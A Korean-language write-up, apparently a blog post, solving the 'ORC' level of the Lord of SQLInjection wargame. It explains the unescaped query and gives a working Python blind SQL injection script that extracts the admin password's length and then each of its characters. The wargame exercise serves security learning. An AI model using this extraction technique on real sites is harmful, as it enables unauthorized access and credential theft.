Lord of SQLInjection - ORC
ORC
문제
- 첫번째 쿼리를 보면 admin 계정에 입력한 pw로 조회한다.
- 두번째 쿼리를 보면 입력한 pw에 addslashes 함수를 통해 ‘, “, \, NUL 문자에 백슬래시를 추가하여 조회한다.
- 첫번째 쿼리는 이스케이프가 안된 상태로 쿼리하기 때문에 해당 부분을 통하여 admin의 패스워드를 추출할 수 있다.
정답
- python을 통해 password의 길이를 구한 후 문자를 비교하여 풀 수 있다.
import requests
password = ''
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookie = {'PHPSESSID' : 'cookie의 세션 아이디 입력'}
pass_len = 0
for length in range(1,30):
query = "?pw=' or id='admin' and %d=length(pw)%%23" %length
URL = url+query
r = requests.get(url=URL, cookies=cookie)
if 'Hello admin' in str(r.content):
pass_len = length
break
else:
print(str(length) + "--- X")
print("password length : %d" %pass_len)
password=''
for i in range(1, pass_len+1):
for j in range(38, 127):
query = "?pw=' or id='admin' and ord(substr(pw,%d,1))='%d'%%23" %(i, j)
URL = url+query
r = requests.get(url=URL, cookies=cookie)
if 'Hello admin' in str(r.content):
password += chr(j)
break
print ('passowrd : %s' %password)
공유하기
Twitter Facebook LinkedIn댓글을 남기시려면 Github 로그인을 해주세요